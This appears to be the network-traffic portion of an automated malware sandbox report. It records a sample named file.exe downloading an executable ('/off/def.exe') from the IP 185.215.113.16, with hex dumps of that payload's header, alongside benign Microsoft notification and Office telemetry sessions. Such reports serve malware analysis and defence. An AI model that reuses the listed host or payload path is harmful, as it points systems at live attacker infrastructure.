wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49833	185.215.113.16	80	5728	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:35.220231056 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 20, 2024 08:12:35.927644968 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:35 GMT Content-Type: application/octet-stream Content-Length: 2770944 Last-Modified: Wed, 20 Nov 2024 06:30:18 GMT Connection: keep-alive ETag: "673d81fa-2a4800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 0f 64 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +d`Ui` @ @.rsrc`2@.idata 8@oxnuddjg):@oawapqis "@.taggant@"&@
Nov 20, 2024 08:12:35.927666903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:12:35.927676916 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:12:35.927793980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:12:35.927808046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:12:35.927818060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:12:35.927829981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:12:35.927923918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:12:35.927942991 CET	552	IN	Data Raw: 69 20 32 e4 a8 86 c1 84 2c 7b e1 95 a4 76 ca 1c 80 8d e5 fd 19 d7 53 80 c2 ec 87 ec e9 77 53 d8 c1 08 9a 36 23 a3 d5 af 71 73 8c 38 f8 5f 42 44 8a 8e 84 1e 33 05 cd b7 80 38 3b 75 c3 5a cf 3d 82 a9 69 c2 fe 0d 86 e4 43 7d cd ce 67 6b 37 38 31 47 Data Ascii: i 2,{vSwS6#qs8_BD38;uZ=iC}gk781G`Y(x\TCu!63'gHu3hg<Dz:F?yxOSc\|%UVrC45&Z7*$$bOmCMhhy9.fb2Rs4cPGqj`.}$7/.+w,~B
Nov 20, 2024 08:12:35.927953959 CET	1236	IN	Data Raw: 14 8f 57 4e 23 62 ac a0 02 20 cd b4 22 42 cc 02 44 57 c3 9d a8 47 97 bc 50 64 92 3a 31 3c a8 52 6b 8b d3 ea 2c d1 01 78 9b f6 74 f0 0e da 8c 0e 10 bd c8 4a ed d0 a9 58 3f 4c 10 1a 36 ec 3d 0e a5 64 f5 02 0b 78 cd b2 d1 fc 70 42 ea 8d ad 38 3b 4b Data Ascii: WN#b "BDWGPd:1<Rk,xtJX?L6=dxpB8;K.kBs]/l6\jqLA2<QcYE<Fk<)/K[QfQiwq(vW\|vS3NT :'Y7"1K(\|kx-E~//3h8VH
Nov 20, 2024 08:12:35.932586908 CET	1236	IN	Data Raw: 75 8f 11 44 e3 32 a3 11 2d 07 93 87 e2 11 61 11 2f 07 8b 37 a9 c9 e6 4e 2d 45 84 9d 1e 2a 48 3c b8 a8 35 58 9b 0e d4 3c e5 a9 a8 8e e4 83 1c fd b1 2d e5 90 4a f0 f4 a9 ea 71 8a 96 2b 4e 3b 9d f7 28 bc 09 01 90 8b 91 dd 33 8b d0 e2 8a 8a e8 e8 b6 Data Ascii: uD2-a/7N-E*H<5X<-Jq+N;(3?PUaj)CFB<6)j$T ^'Yx@[wY;Wi>Hxlv+~/DxZ[MAKZuGQ\FgqyK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49709	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:13 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 43 41 42 37 47 33 62 6d 41 55 75 4c 58 47 45 4f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 61 37 35 39 62 37 65 31 32 34 63 31 32 66 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: CAB7G3bmAUuLXGEO.1Context: 5a759b7e124c12f1
2024-11-20 07:12:13 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 07:12:13 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 43 41 42 37 47 33 62 6d 41 55 75 4c 58 47 45 4f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 61 37 35 39 62 37 65 31 32 34 63 31 32 66 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 4b 49 63 78 78 49 39 78 75 47 37 47 65 45 64 4a 6e 6f 42 56 44 74 71 4a 4c 75 2b 7a 54 44 6b 33 75 4b 49 57 2b 6b 79 4c 6d 43 4e 4f 62 7a 64 54 30 72 4b 37 6a 4e 70 31 64 69 45 47 54 67 38 2b 42 30 30 61 48 48 6c 6a 37 6c 56 7a 31 48 63 56 32 69 6e 63 58 45 59 6d 74 62 4a 49 53 6f 30 39 42 41 35 77 42 67 52 4a 4e 70 30 6b Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: CAB7G3bmAUuLXGEO.2Context: 5a759b7e124c12f1<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdKIcxxI9xuG7GeEdJnoBVDtqJLu+zTDk3uKIW+kyLmCNObzdT0rK7jNp1diEGTg8+B00aHHlj7lVz1HcV2incXEYmtbJISo09BA5wBgRJNp0k
2024-11-20 07:12:13 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 43 41 42 37 47 33 62 6d 41 55 75 4c 58 47 45 4f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 61 37 35 39 62 37 65 31 32 34 63 31 32 66 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: CAB7G3bmAUuLXGEO.3Context: 5a759b7e124c12f1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-20 07:12:14 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 07:12:14 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 66 47 62 49 49 79 37 49 36 45 4b 4b 4d 71 70 73 32 6e 44 73 41 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: fGbIIy7I6EKKMqps2nDsAQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49710	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:17 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071217Z-185f5d8b95c9mqtvhC1NYCghtc0000000a1g000000001wdx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:17 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 07:12:17 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-20 07:12:17 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 07:12:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 07:12:17 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 07:12:17 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 07:12:17 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-20 07:12:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 07:12:17 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-20 07:12:17 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49713	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
